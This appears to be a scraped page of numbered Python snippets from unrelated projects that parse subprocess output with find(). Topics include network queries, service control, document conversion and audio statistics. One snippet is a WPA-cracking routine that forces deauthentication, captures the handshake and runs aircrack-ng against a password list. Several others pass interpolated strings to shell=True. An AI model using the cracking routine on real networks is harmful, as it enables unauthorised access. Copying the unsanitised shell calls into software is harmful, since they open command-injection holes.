Ejemplo n.º 1
0
	def __init__(self, manager, *args, **kw):
		super(ProbeAdapter, self).__init__(*args, **kw)
		self.__instances = set("0")
		manager.register_adapter("/probeResource", self)
		# Print the IP-Address of this machine
		output = Popen(["ifconfig"], stdout=PIPE).communicate()[0]
		indexIPStart = output.find("inet addr")+10
		indexIPEnd = output.find("Bcast")
		global IPAddress
		IPAddress = output[indexIPStart:indexIPEnd].strip(' ')
		logger.debug("--- The IP-Address of this machine is: "+IPAddress+" ---")
Ejemplo n.º 2
0
def getRESInstalledProducts():
    if not os.path.exists('/etc/redhat-release'):
        raise Exception("Getting installed products failed")

    try:
        name = Popen(['/usr/lib/suseRegister/bin/parse_release_info', '-si'],
                     stdout=PIPE).communicate()[0]
        version = Popen(
            ['/usr/lib/suseRegister/bin/parse_release_info', '-sr'],
            stdout=PIPE).communicate()[0]
        release = Popen(
            ['/usr/lib/suseRegister/bin/parse_release_info', '-sc'],
            stdout=PIPE).communicate()[0]
        arch = Popen(['uname', '-m'], stdout=PIPE).communicate()[0]
    except:
        raise Exception("Getting installed products failed")

    if ('redhat' in name.lower() or 'centos' in name.lower()
            or 'slesexpandedsupportplatform' in name.lower()):
        name = 'RES'
    if '.' in version:
        version = version[:version.find('.')]
    ret = []
    p = {
        'name': name,
        'version': version.strip(),
        'release': release.strip(),
        'arch': arch.strip(),
        'baseproduct': 'Y'
    }
    ret.append(p)
    return ret
Ejemplo n.º 3
0
def pingHost(host):
    pingout,pingerr=Popen(["ping.exe", line, "-n", "1"], stdout=PIPE, shell=True).communicate()
    print "Pingout: " + pingout + " :|: "
    if pingout.find(" ms") > 0:
        return True
    else:
        return False
Ejemplo n.º 4
0
    def _setup_xfer(self):
        """Open the file to be loaded, or materalize the template.
           This method can set the state to be an ERROR state, so
           avoid setting state after calling this method.
        """
        logging.info('host %s requesting %s' %
                     (self.system.name, self.filename))

        self.filename, self.type = self._remap_name(self.filename)
        logging.debug('host %s getting %s: %s' %
                      (self.system.name, self.filename, self.type))
        if self.type == "template":
            # TODO: Add file magic here
            output = Popen([OPTIONS["file_cmd"], self.filename],
                           stdout=PIPE,
                           stderr=STDOUT,
                           close_fds=True).communicate()[0]
            if output.find(" text") >= 0:
                self.file = self._render_template()
                if self.file:
                    self.block_count = 0
                    self.file_size = len(self.file.data)
                    return
                else:
                    logging.debug('Template failed to render.')
            else:
                logging.debug('Not rendering binary file %s (%s).' %
                              (self.filename, output))
        elif self.type == "hash_value":
            self.file = RenderedFile(self.system.attrs[self.filename])
            self.block_count = 0
            self.file_size = len(self.file.data)
            return
        else:
            logging.debug('Relative path')

        # Oh well.  Look for the actual given file.
        # XXX: add per-host IP or Mac prefixes?
        #       add: for pxeboot, or other non pxelinux
        try:
            logging.debug('starting xfer of %s to %s' %
                          (self.filename, self.remote_addr))
            # Templates are specified by an absolute path
            if self.type == "template":
                self.file = open(self.filename, 'rb', 0)
            else:
                # TODO! restrict.  Chroot?
                # We are sanitizing in the input, but a second line of defense
                # wouldn't be a bad idea
                self.file = open(OPTIONS["prefix"] + "/" + self.filename, 'rb',
                                 0)
            self.block_count = 0
            self.file_size = os.fstat(self.file.fileno()).st_size
        except IOError:
            logging.debug('%s requested %s: file not found.' %
                          (self.remote_addr, self.filename))
            self.state = TFTP_OPCODE_ERROR
            self.error_code = 1
            self.error_str = "No such file"
        return
Ejemplo n.º 5
0
def run( dev_name ):
    keyline = Popen(["./keymap_update","-i", dev_name], stdout=PIPE, bufsize=0).communicate()[0].split("\n")[0]
    print keyline
    index = keyline.find( "esc" )
    if index == -1:
        return True
    return False
Ejemplo n.º 6
0
    def write(self, value):
        '''
        Writes to write_source using util.

        Arguments:
            value: value to be set to the sensor

        Return:
            N/A
        '''
        if self.write_source is None:
            return
        cmd = self.write_source % (int(value))
        Logger.debug("Setting value using cmd=%s" % cmd)
        response = ''
        try:
            response = Popen(cmd, shell=True,
                             stdout=PIPE).stdout.read().decode()
            if response.find("Error") != -1:
                raise Exception("Write failed with response=%s" % response)
        except SystemExit:
            Logger.debug("SystemExit from sensor write")
            raise
        except Exception:
            Logger.crit("Exception with cmd=%s response=%s" % (cmd, response))
Ejemplo n.º 7
0
def set_platform():

    global plexconnectpath
  
    cwd = os.path.abspath(os.path.dirname(sys.argv[0]))
 
    if sys.platform.startswith('darwin'): # OSX
        plexconnectpath = cwd+"/PlexConnect_daemon.bash "
        call("echo 1 >daemon_support.txt",shell=True)
        call("launchctl list | grep -c plexconnect >daemon_installed.txt",shell=True) #outputs: 0=not installed,1=daemon installed 
    
    elif sys.platform.startswith('win32'):
        
        if controlsupport == True:
            
            plexconnectpath = "python PlexConnect_WinService.py "
            call("echo 1 >daemon_support.txt",shell=True)
            output = Popen("sc query PlexConnect-service", shell=True, stdout=PIPE).communicate()[0]
            if output.find("FAILED") > 0:
                call("echo 0 >daemon_installed.txt",shell=True)   
            else:
                call("echo 1 >daemon_installed.txt",shell=True)   

        else:
            plexconnectpath = "start /B pythonw PlexConnect.py"
            call("echo 0 >daemon_installed.txt",shell=True)
            call("echo 0 >daemon_installed.txt",shell=True)  

    else: # linux
        plexconnectpath = cwd+"/PlexConnect_daemon.bash "
        call("echo 0 >daemon_support.txt",shell=True)
        call("echo 0 >daemon_installed.txt",shell=True)
Ejemplo n.º 8
0
    def wpa_run(self):
        dump_cmd = ['airodump-ng', '-c', self.channel, '--bssid', self.bssid, '-w', './log/' + self.bssid, self.iface]
        airodump_proc = Popen(dump_cmd, stdout=DN, stderr=DN)
        self.proc_list.append(airodump_proc)

        self.send_deauths()
        while self.key == '':
            output = Popen('tshark -r ./log/' + self.bssid + '-01.cap 2>/dev/null| grep "Message 4 of 4"',shell=True, stdout=PIPE).communicate()[0]
            if output.find('Message 4 of 4') != -1:
                execute('rm ./log/'+self.bssid+'.key')
                airodump_proc.kill()
                airodump_proc.communicate()
                crack_cmd = ['aircrack-ng', '-w', self.password_list, '-b', self.bssid, './log/' + self.bssid + '-01.cap','-l', './log/' + self.bssid + '.key']
                crack_proc = Popen(crack_cmd, stdout=DN)
                self.proc_list.append(crack_proc)
                crack_proc.wait()
                try:
                    f = open('./log/' + self.bssid + '.key')
                    key = f.read()
                    f.close()
                    self.key = key
                    self.crack_success = True
                    self.stop()
                except:
                    pass
            else:
                self.send_deauths()
                time.sleep(5)
        return self.key
Ejemplo n.º 9
0
def set_platform():

    global plexconnectpath
  
    cwd = os.path.abspath(os.path.dirname(sys.argv[0]))
 
    if sys.platform.startswith('darwin'): # OSX
        plexconnectpath = cwd+"/PlexConnect_daemon.bash "
        call("echo 1 >daemon_support.txt",shell=True)
        call("launchctl list | grep -c plexconnect >daemon_installed.txt",shell=True) #outputs: 0=not installed,1=daemon installed 
    
    elif sys.platform.startswith('win32'):
        
        if controlsupport == True:
            
            plexconnectpath = "python PlexConnect_WinService.py "
            call("echo 1 >daemon_support.txt",shell=True)
            output = Popen("sc query PlexConnect-service", shell=True, stdout=PIPE).communicate()[0]
            if output.find("FAILED") > 0:
                call("echo 0 >daemon_installed.txt",shell=True)   
            else:
                call("echo 1 >daemon_installed.txt",shell=True)   

        else:
            plexconnectpath = "start /B pythonw PlexConnect.py"
            call("echo 0 >daemon_installed.txt",shell=True)
            call("echo 0 >daemon_installed.txt",shell=True)  

    else: # linux
        plexconnectpath = cwd+"/PlexConnect_daemon.bash "
        call("echo 0 >daemon_support.txt",shell=True)
        call("echo 0 >daemon_installed.txt",shell=True)
Ejemplo n.º 10
0
def main():
    try:
        while True:
            s, tmp = Popen(['factor'], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(raw_input())
            stdout.write('1')
            stdout.write(s[s.find(':') + 1:].replace(' ', ' x '))
    except EOFError:
        pass
 def _get_mac_address(self):
     pv = ".X"  # Pick a PV that is hosted on the device
     node = connect(self.epicsID + pv, cainfo=True).host.split(":")[0]  # Get the IP address of the host
     host_info = Popen(["arp", "-n", node], stdout=PIPE).communicate()[0]  # Get info about the host using arp
     host_info = host_info.split("\n")[1]  # Split the info sent back
     index = host_info.find(":")  # Find the first ":", used in the MAC address
     host_info = host_info[index - 2:index + 15]  # Get the MAC address
     return host_info
Ejemplo n.º 12
0
    def close(self):
        """ Implements GVPdfGsDoc.close() """
        GVDocBase.close(self)
        
        # Make sure the extension is correct
        if self._filename[-4:] != ".pdf":
            self._filename += ".pdf"

        # Create a temporary dot file
        (handle, tmp_dot) = tempfile.mkstemp(".gv" )
        dotfile = os.fdopen(handle,"w")
        dotfile.write(self._dot.getvalue())
        dotfile.close()
        
        # Create a temporary PostScript file
        (handle, tmp_ps) = tempfile.mkstemp(".ps" )
        os.close( handle )
        
        # Generate PostScript using dot
        # Reason for using -Tps:cairo. Needed for Non Latin-1 letters
        # See bug tracker issue 2815
        # :cairo does not work with Graphviz 2.26.3 and later See issue 4164
        
        command = 'dot -Tps:cairo -o"%s" "%s"' % ( tmp_ps, tmp_dot )
        dotversion = Popen(['dot', '-V'], stdout=PIPE, stdin=PIPE, stderr=PIPE).communicate(input=None)[1]
        # Problem with dot 2.26.3 and later and multiple pages, which gives "cairo: out 
        # of memory". If the :cairo is skipped for these cases it gives 
        # acceptable result.
        if (dotversion.find('2.26.3') or dotversion.find('2.28.0') != -1) and (self.vpages * self.hpages) > 1:
            command = command.replace(':cairo','')
        os.system(command)
        
        # Add .5 to remove rounding errors.
        paper_size = self._paper.get_size()
        width_pt = int( (paper_size.get_width_inches() * 72) + 0.5 )
        height_pt = int( (paper_size.get_height_inches() * 72) + 0.5 )
        
        # Convert to PDF using ghostscript
        fname = self._filename.encode(sys.getfilesystemencoding())
        command = '%s -q -sDEVICE=pdfwrite -dNOPAUSE -dDEVICEWIDTHPOINTS=%d' \
                  ' -dDEVICEHEIGHTPOINTS=%d -sOutputFile="%s" "%s" -c quit' \
                  % ( _GS_CMD, width_pt, height_pt, fname, tmp_ps )
        os.system(command)
        
        os.remove(tmp_ps)
        os.remove(tmp_dot)
Ejemplo n.º 13
0
 def isCoherenceRunning(self):
     if(self.onLinux):
         output = Popen(["ps", "-C", "coherence"], stdout=PIPE).communicate()[0]
         result = output.find("coherence")
         if result > 0:
             return True
         else:
             return False
Ejemplo n.º 14
0
def main():
    '''Write some help documentation here
'''
    input_file = 'tmpfile.m'
    dogpack_home_dir = os.environ['DOGPACK']
    t_order = 2
    s_order = 4
    number_pts = 1
    iterations = 8

    my_dictionary = {
        'dogpack_dir': dogpack_home_dir,
        'num_pts': number_pts,
        's_order': s_order,
        't_order': t_order
    }
    print "# leading comments can be given a '#' character"
    print "# running t_order = ", t_order, " space_order = ", s_order
    old_err = i = 0
    while (1):

        directory_num = my_dictionary['dir_num'] = i
        folder = 'outputSL%(s_order)i_%(t_order)i_00%(dir_num)i' % my_dictionary
        if (not os.path.exists(folder)):
            print 'Did Not find folder: ' + folder
            break

        my_dictionary['curr_folder'] = folder
        # we want to do:
        #   data = open('dogpack.data','w')
        #   print >> data, dogpack_data_template % { 'mx': mx_now, 'ts_method': ts_method}
        #   data.close()
        # and we avoid the .close() (even in case of exception) with 'with':
        directory_num = i
        with closing(open(input_file, 'w')) as data:
            # print >> data, dogpack_data_template % locals()
            ## if we had used same names for everything
            print >> data, run_matlab_template % my_dictionary

        s = Popen('matlab -nodesktop -nosplash < ' + input_file,
                  shell=True,
                  stdout=PIPE).communicate()[0]
        new_err = float(s[s.find('>>') - 1:len(s)].replace(">>", ""))

        r1 = '%(old)e    %(new)e    ' % {'old': old_err, 'new': new_err}

        if (new_err > 0 and old_err > 0):
            rat = math.log(old_err / new_err, 2)
        else:
            rat = 1.0

        result = r1 + folder + '   log2( ratio ) = %(rat)8e' % \
            {'old' : old_err, 'new' : new_err, 'rat' : rat }
        print result

        old_err = new_err

        i = i + 1
Ejemplo n.º 15
0
 def isCoherenceRunning(self):
     if (self.onLinux):
         output = Popen(["ps", "-C", "coherence"],
                        stdout=PIPE).communicate()[0]
         result = output.find("coherence")
         if result > 0:
             return True
         else:
             return False
Ejemplo n.º 16
0
    def get_permission_groups(self, username):
        groups = []
	groups_str = Popen(["groups", username], stdout=PIPE).communicate()[0]
	if groups_str.find(":")!=-1:
		groups_lst = groups_str.split(":")[1].strip()
		groups = ["@%s"% x.strip() for x in groups_lst.split()]

        self.env.log.debug('unixgroups found for %s = %s' % (username, ','.join(groups)))

        return groups
Ejemplo n.º 17
0
 def __getGatewayInterfaceIpW(self):
     route = Popen(['route', 'print'], stdout=PIPE).stdout.read()
     for line in route.splitlines():
         if line.strip().startswith('0.0.0.0'):
             gateway = line.split()[2].strip()
             break
     xpMode = route.find('Default Routes')
     if xpMode != -1:
         text = route[route.find('Active Routes'):route.
                      find('Default Routes')]
     else:
         text = route[route.find('Active Routes'):route.
                      find('Persistent Routes')]
     text = os.linesep.join([line for line in text.splitlines() if line])
     for line in text.splitlines()[2:-1]:
         if line.split()[2].strip() == gateway:
             ip = line.split()[3]
             break
     return gateway, ip
Ejemplo n.º 18
0
 def _get_mac_address(self):
     node = self.IP  # Get the devices IP address
     host_info = Popen(["arp", "-n", node],
                       stdout=PIPE).communicate()[0]  # arp with the device
     host_info = host_info.split("\n")[
         1]  # split the information the host gives
     index = host_info.find(
         ":")  # find the index of the first ":" (used in the MAC address)
     host_info = host_info[index - 2:index + 15]  # Return the MAC address
     return host_info
def run_bulk_extractor(target,block_size,concurrency_factor,quiet=True,retbuf=False):
    """ Run the copy of bulk_extractor out of the same directory in which the script is running.
    set the DFRWS2012 challenge variables."""
    dn = os.path.dirname(os.path.realpath(__file__))
    os.putenv("DFRWS2012","1")
    d = tempfile.mkdtemp(prefix="pbulk")
    os.rmdir(d)                         # delete it, so I can make it again
    qflag = '0'
    if quiet:
        qflag = '-1'
    cmd = [os.path.join(dn,'./bulk_extractor'),
           '-e','all',                  # all modules
           '-e','bulk',                 # explicitly turn on bulk
           '-e','lift',                 # explicitly turn on LIFT
           '-x','accts',                # turn off accts
           '-x','email',                # turn off email
           '-x','xor',                  # turn off xor
           '-x','wordlist',             # no wordlist
           '-S','DFRWS2012=YES',
           '-S','bulk_block_size='+str(block_size),
           '-S','work_start_work_end=NO',
           '-S','enable_histograms=NO',
           '-C','0',                    # no context is reported
           '-G'+str(page_size),     # page size
           '-g'+str(margin),     # margin
           '-q',qflag,            # quiet mode
           '-j',str(concurrency_factor),
           '-o',d,
           target]
    if not quiet: print(" ".join(cmd))
    if not retbuf:
        print(" ".join(cmd))
        call(cmd)
    else:
        ret=Popen(cmd,stdout=PIPE).communicate()[0].strip()
        try:
            space=ret.find(' ')
            return ret[space+1:]
        except TypeError:
            space=ret.find(b' ')
            return ret[space+1:].decode('utf-8')            
    if not quiet: print("output dir: {}".format(d))    
Ejemplo n.º 20
0
    def get_permission_groups(self, username):
        groups = []
        groups_str = Popen(["groups", username], stdout=PIPE).communicate()[0]
        if groups_str.find(":") != -1:
            groups_lst = groups_str.split(":")[1].strip()
            groups = ["@%s" % x.strip() for x in groups_lst.split()]

        self.env.log.debug('unixgroups found for %s = %s' %
                           (username, ','.join(groups)))

        return groups
Ejemplo n.º 21
0
 def test(self):
     p = Popen("python manage.py printmodels", stdout=PIPE, stderr=PIPE, shell=True).stdout.read()
     self.assertTrue(p.find("Bio") != -1)
     Popen("bash save.bash", stdout=PIPE, stderr=PIPE, shell=True)
     l = os.listdir(".")
     for d in l:
         if d.find(".dat") != -1:
             f = open(d, "r")
             self.assertTrue((f.read()).find("error") != -1)
             f.close()
             Popen("rm " + d, stdout=PIPE, stderr=PIPE, shell=True)
Ejemplo n.º 22
0
def main( ):
    '''Write some help documentation here
'''
    input_file = 'tmpfile.m'
    dogpack_home_dir = os.environ['DOGPACK']
    t_order    = 2
    s_order    = 4
    number_pts = 1
    iterations = 8

    my_dictionary = {'dogpack_dir' : dogpack_home_dir, 'num_pts' : number_pts ,
        's_order' : s_order, 't_order' : t_order }
    print "# leading comments can be given a '#' character"
    print "# running t_order = ", t_order, " space_order = ", s_order
    old_err = i = 0
    while( 1 ):

        directory_num = my_dictionary['dir_num'] =  i
        folder = 'outputSL%(s_order)i_%(t_order)i_00%(dir_num)i' % my_dictionary
        if( not os.path.exists(folder) ):
            print 'Did Not find folder: ' + folder
            break

        my_dictionary['curr_folder'] = folder
        # we want to do:
        #   data = open('dogpack.data','w')
        #   print >> data, dogpack_data_template % { 'mx': mx_now, 'ts_method': ts_method} 
        #   data.close()
        # and we avoid the .close() (even in case of exception) with 'with':
        directory_num = i
        with closing(open(input_file,'w')) as data:
            # print >> data, dogpack_data_template % locals() 
            ## if we had used same names for everything
            print >> data, run_matlab_template % my_dictionary
        
        s = Popen('matlab -nodesktop -nosplash < ' + input_file, shell=True, stdout=PIPE).communicate()[0]
        new_err = float( s[s.find('>>')-1:len(s)].replace(">>","") )

        r1 = '%(old)e    %(new)e    ' % {'old': old_err, 'new' : new_err}

        if( new_err > 0 and old_err > 0 ):
            rat = math.log( old_err / new_err, 2 )
        else:
            rat = 1.0

        result = r1 + folder + '   log2( ratio ) = %(rat)8e' % \
            {'old' : old_err, 'new' : new_err, 'rat' : rat }
        print result

        old_err = new_err

        i = i + 1
Ejemplo n.º 23
0
 def __init__(self):
     if sys.platform == 'linux2':
         self.gateway, self.interface = self.__getGatewayInterfaceL()
         sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
         self.netmask = self.__getNetmaskL(sock, self.interface)
         self.ipAddress = self.__getIpAddressL(sock, self.interface)
         self.macAddress = self.__getMacAddressL(sock, self.interface)
     elif sys.platform == 'win32':
         self.gateway, self.ipAddress = self.__getGatewayInterfaceIpW()
         ipconfig = Popen(['ipconfig', '/all'], stdout=PIPE).stdout.read()
         interface = ipconfig[ipconfig.find('Description'):ipconfig.
                              find('Default Gateway')]
         while self.ipAddress not in interface:
             ipconfig = ipconfig.replace(interface, '')
             interface = ipconfig[ipconfig.find('Description'):ipconfig.
                                  find('Default Gateway')]
         self.netmask = self.__getNetmaskW(interface, self.ipAddress)
         self.macAddress = self.__getMacAddressW(interface, self.ipAddress)
         self.interface = self.__getInterfaceW(interface, self.ipAddress)
     else:
         print 'Unknown platform'
         raise SystemExit
Ejemplo n.º 24
0
    def close(self):
        """ Implements GVPsDoc.close() """
        GVDocBase.close(self)
        
        # Make sure the extension is correct
        if self._filename[-3:] != ".ps":
            self._filename += ".ps"

        # Create a temporary dot file
        (handle, tmp_dot) = tempfile.mkstemp(".gv" )
        dotfile = os.fdopen(handle,"w")
        dotfile.write(self._dot.getvalue())
        dotfile.close()
        
        # Generate the PS file.
        # Reason for using -Tps:cairo. Needed for Non Latin-1 letters
        # Some testing with Tps:cairo. Non Latin-1 letters are OK i all cases:
        # Output format:   ps       PDF-GostScript  PDF-GraphViz
        # Single page      OK           OK              OK
        # Multip page    1 page,        OK             1 page,
        #               corrupted                    set by gramps
        # If I take a correct multip page PDF and convert it with pdf2ps I get 
        # multip pages, but the output is clipped, some margins have 
        # disappeared. I used 1 inch margins always.
        # See bug tracker issue 2815
        # :cairo does not work with Graphviz 2.26.3 and later See issue 4164
        # Covert filename to str using file system encoding.
        fname = self._filename.encode(sys.getfilesystemencoding())

        command = 'dot -Tps:cairo -o"%s" "%s"' % (fname, tmp_dot)
        dotversion = Popen(['dot', '-V'], stdout=PIPE, stdin=PIPE, stderr=PIPE).communicate(input=None)[1]
        # Problem with dot 2.26.3 and later and multiple pages, which gives "cairo: out of
        # memory" If the :cairo is skipped for these cases it gives acceptable
        # result.
        if (dotversion.find('2.26.3') or dotversion.find('2.28.0') != -1) and (self.vpages * self.hpages) > 1:
            command = command.replace(':cairo','')
        os.system(command)
        # Delete the temporary dot file
        os.remove(tmp_dot)
Ejemplo n.º 25
0
def check_buf_filetype(buf, need_type):
    if ukconfig.USE_MAGIC_LIB:
        s = magic.from_buffer(buf)
    else:
        f = tempfile.NamedTemporaryFile(delete=False)
        f.write(buf)
        f.close()
        s = Popen('file "{0}"'.format(f.name), stdout=PIPE, shell=True).stdout.read()
        os.remove(f.name)
    if s.find(need_type) != -1:
        return True
    else:
        return False
Ejemplo n.º 26
0
 def DeleteUser(self):
     ''' Delete the selected User from the application GUI and from the system '''
     (model, paths) = self.ui.UsersTree.get_selection().get_selected_rows()
     paths.reverse()
     iter = model.get_iter(paths[0])
     User = model.get_value(iter, 0)
     output = Popen(("sudo -S smbpasswd -x " + User).split(),
                    stdin=PIPE,
                    stdout=PIPE).communicate(self.ROOTPASS)[0]
     output = output.lower()
     print(output)
     if (output.find("deleted") >= 0):
         model.remove(iter)
    def file_stats(filename):
        temp_out_of_phase = os.path.join(temp_folder, 'out_of_phase.wav')
        temp_monoCH1 = os.path.join(temp_folder, 'monoCH1.wav')
        temp_monoCH2 = os.path.join(temp_folder, 'monoCH2.wav')

        check_output('{} {} {} remix 1,2i 1,2i'.format(SOX, temp_file,
                                                       temp_out_of_phase))

        check_output('{} {} {} remix 1 1'.format(SOX, temp_file, temp_monoCH1))

        check_output('{} {} {} remix 2 2'.format(SOX, temp_file, temp_monoCH2))

        temp_stat = Popen('{} {} -n stat'.format(SOX, temp_file),
                          stdout=None,
                          stderr=PIPE).communicate()[1].decode()
        oops_stat = Popen('{} {} -n stat'.format(SOX, temp_out_of_phase),
                          stdout=None,
                          stderr=PIPE).communicate()[1].decode()
        monoch1_stat = Popen('{} {} -n stat'.format(SOX, temp_monoCH1),
                             stdout=None,
                             stderr=PIPE).communicate()[1].decode()
        monoch2_stat = Popen('{} {} -n stat'.format(SOX, temp_monoCH2),
                             stdout=None,
                             stderr=PIPE).communicate()[1].decode()

        temp_stat = float(
            temp_stat[temp_stat.find('RMS     amplitude') +
                      23:temp_stat.find('RMS     amplitude') + 31])
        oops_stat = float(
            oops_stat[oops_stat.find('RMS     amplitude') +
                      23:oops_stat.find('RMS     amplitude') + 31])
        monoch1_stat = float(
            monoch1_stat[monoch1_stat.find('RMS     amplitude') +
                         23:monoch1_stat.find('RMS     amplitude') + 31])
        monoch2_stat = float(
            monoch2_stat[monoch2_stat.find('RMS     amplitude') +
                         23:monoch2_stat.find('RMS     amplitude') + 31])

        os.remove(temp_monoCH1)
        os.remove(temp_monoCH2)
        os.remove(temp_out_of_phase)

        retorno = {}
        retorno['oopsRMS'] = oops_stat
        retorno['tempRMS'] = temp_stat
        retorno['CH1RMS'] = monoch1_stat
        retorno['CH2RMS'] = monoch2_stat
        return retorno
Ejemplo n.º 28
0
def plexconnect_control(control):
    global controlsupport
    if control == "install" or control == "uninstall" or control == "remove":
        if sys.platform.startswith('darwin'): #OSX specific
            command = Popen("./support/OSX/"+control+".bash", shell=True, stderr=PIPE,stdout=PIPE).communicate()[0] 
            time.sleep(2) # actions may still be in progress  
        else:
            if sys.platform.startswith('win32') and control == "remove":
                call(plexconnectpath+"stop", shell=True)
                time.sleep(3)
                call(plexconnectpath+control, shell=True)
                print("win "+plexconnectpath+":"+control)
 
            else:
                call(plexconnectpath+control, shell=True)
    else:
        if os.name == "posix": # OSX / Linux flavors
            command = Popen(plexconnectpath+control, shell=True, stderr=PIPE,stdout=PIPE).communicate()[0] 
        else: # win 32
            if controlsupport == False and control == "stop":
                cmdShutdown()
                shutdown()
                time.sleep(2)
                command = Popen("taskkill /FI \"IMAGENAME eq pythonw.exe\" /F", shell=True, stderr=PIPE,stdout=PIPE).communicate()[0] 
                call("echo PlexConnect is not running > plexconnect_status.txt",shell=True)
            if controlsupport == False and control == "start":
                    
                proc = Popen(["start.bat"],shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                time.sleep(2)
                call("echo PlexConnect is running > plexconnect_status.txt",shell=True)

            if controlsupport == True and control == "start":
                output = Popen("sc query PlexConnect-service", shell=True, stdout=PIPE).communicate()[0]

                if output.find("FAILED") > 0:
                    command = Popen(plexconnectpath+" install", shell=True, stderr=PIPE,stdout=PIPE).communicate()[0]  
                    time.sleep(3)
                    command = Popen(plexconnectpath+control, shell=True, stderr=PIPE,stdout=PIPE).communicate()[0] 
                    time.sleep(3)
                else:
                    command = Popen(plexconnectpath+control, shell=True, stderr=PIPE,stdout=PIPE).communicate()[0]
            else:
                    command = Popen(plexconnectpath+control, shell=True, stderr=PIPE,stdout=PIPE).communicate()[0]
                    call("echo PlexConnect is not running > plexconnect_status.txt",shell=True)

   
    time.sleep(2)
    set_platform() # update all proper programfile & paths        
    time.sleep(2)    
    plexconnect_status(localIP)
Ejemplo n.º 29
0
def check_buf_filetype(buf, need_type):
    if ukconfig.USE_MAGIC_LIB:
        s = magic.from_buffer(buf)
    else:
        f = tempfile.NamedTemporaryFile(delete=False)
        f.write(buf)
        f.close()
        s = Popen('file "{0}"'.format(f.name), stdout=PIPE,
                  shell=True).stdout.read()
        os.unlink(f.name)
    if s.find(need_type) != -1:
        return True
    else:
        return False
Ejemplo n.º 30
0
def main():
    """Write some help documentation here
"""
    input_file = "tmpfile.m"
    dogpack_home_dir = os.environ["DOGPACK"]
    number_pts = 1
    iterations = 4

    my_dictionary = {"dogpack_dir": dogpack_home_dir, "num_pts": number_pts}
    print "# leading comments can be given a '#' character"
    old_err = i = 0
    while 1:

        directory_num = my_dictionary["dir_num"] = i
        #       folder = 'outputSL%(s_order)i_%(t_order)i_00%(dir_num)i' % my_dictionary
        folder = "/var/tmp/seal/TestConvergenceHybrid/output00%(dir_num)i" % my_dictionary
        if not os.path.exists(folder):
            break

        my_dictionary["curr_folder"] = folder
        # we want to do:
        #   data = open('dogpack.data','w')
        #   print >> data, dogpack_data_template % { 'mx': mx_now, 'ts_method': ts_method}
        #   data.close()
        # and we avoid the .close() (even in case of exception) with 'with':
        directory_num = i
        with closing(open(input_file, "w")) as data:
            # print >> data, dogpack_data_template % locals()
            ## if we had used same names for everything
            print >> data, run_matlab_template % my_dictionary

        s = Popen("matlab -nodesktop -nosplash < " + input_file, shell=True, stdout=PIPE).communicate()[0]
        new_err = float(s[s.find(">>") - 1 : len(s)].replace(">>", ""))

        r1 = "%(new).3e  " % {"old": old_err, "new": new_err}

        if old_err > 0 and new_err > 0:
            result = r1 + folder + "   log2(ratio) = %(rat).3f" % {"rat": log((old_err / new_err), 2)}
        else:
            result = (
                r1
                + folder
                + "   log2(ratio) = %(rat).3f" % {"old": old_err, "new": new_err, "rat": (old_err / new_err)}
            )

        print result

        old_err = new_err

        i = i + 1
Ejemplo n.º 31
0
def plexconnect_control(control):
    global controlsupport
    if control == "install" or control == "uninstall" or control == "remove":
        if sys.platform.startswith('darwin'): #OSX specific
            command = Popen("./support/OSX/"+control+".bash", shell=True, stderr=PIPE,stdout=PIPE).communicate()[0] 
            time.sleep(2) # actions may still be in progress  
        else:
            if sys.platform.startswith('win32') and control == "remove":
                call(plexconnectpath+"stop", shell=True)
                time.sleep(3)
                call(plexconnectpath+control, shell=True)
                print("win "+plexconnectpath+":"+control)
 
            else:
                call(plexconnectpath+control, shell=True)
    else:
        if os.name == "posix": # OSX / Linux flavors
            command = Popen(plexconnectpath+control, shell=True, stderr=PIPE,stdout=PIPE).communicate()[0] 
        else: # win 32
            if controlsupport == False and control == "stop":
                cmdShutdown()
                shutdown()
                time.sleep(2)
                command = Popen("taskkill /FI \"IMAGENAME eq pythonw.exe\" /F", shell=True, stderr=PIPE,stdout=PIPE).communicate()[0] 
                call("echo PlexConnect is not running > plexconnect_status.txt",shell=True)
            if controlsupport == False and control == "start":
                    
                proc = Popen(["start.bat"],shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                time.sleep(2)
                call("echo PlexConnect is running > plexconnect_status.txt",shell=True)

            if controlsupport == True and control == "start":
                output = Popen("sc query PlexConnect-service", shell=True, stdout=PIPE).communicate()[0]

                if output.find("FAILED") > 0:
                    command = Popen(plexconnectpath+" install", shell=True, stderr=PIPE,stdout=PIPE).communicate()[0]  
                    time.sleep(3)
                    command = Popen(plexconnectpath+control, shell=True, stderr=PIPE,stdout=PIPE).communicate()[0] 
                    time.sleep(3)
                else:
                    command = Popen(plexconnectpath+control, shell=True, stderr=PIPE,stdout=PIPE).communicate()[0]
            else:
                    command = Popen(plexconnectpath+control, shell=True, stderr=PIPE,stdout=PIPE).communicate()[0]
                    call("echo PlexConnect is not running > plexconnect_status.txt",shell=True)

   
    time.sleep(2)
    set_platform() # update all proper programfile & paths        
    time.sleep(2)    
    plexconnect_status(localIP)
Ejemplo n.º 32
0
    def transmitFiles(self, subject, addresses, sourceWfo, attachments,
                      xmtScript):
        # assembles the command and executes it.
        # determine MHS WMO id for this message
        wmoid = "TTAA00 "
        if sourceWfo in ['SJU']:
            wmoid += "TJSJ"
        elif sourceWfo in ['AFG', 'AJK', 'HFO', 'GUM']:
            wmoid += "P" + sourceWfo
        elif sourceWfo in ['AER', 'ALU']:
            wmoid += "PAFC"
        elif len(sourceWfo) == 3:
            wmoid += "K" + sourceWfo
        elif len(sourceWfo) == 4:
            wmoid += sourceWfo
        else:
            wmoid += "XXXX"
        wmoid += " " + time.strftime("%d%H%M", time.gmtime(time.time()))

        # Transmit files - do string substitution
        if xmtScript is not None:
            cmd = copy.deepcopy(xmtScript)
            cmd = string.replace(cmd, "%SUBJECT", subject)
            cmd = string.replace(cmd, "%ADDRESSES", ",".join(addresses))
            cmd = string.replace(cmd, "%WMOID", "'" + wmoid + "'")
            cmd = string.replace(cmd, "%ATTACHMENTS", ",".join(attachments))

            self.logEvent("Transmit: ", cmd)
            import siteConfig
            from subprocess import Popen, PIPE
            output, err = Popen(cmd, shell=True, stdout=PIPE,
                                stderr=PIPE).communicate()
            if output.find(siteConfig.GFESUITE_MHSID + "-") == -1:
                alertMsg = "ISC Send failed transmission to : " + ",".join(
                    addresses) + " --> " + output + " " + err
                self.logProblem(alertMsg)
            else:
                self.logEvent(output.rstrip())
                if len(err) > 0:
                    self.logProblem(err.rstrip())
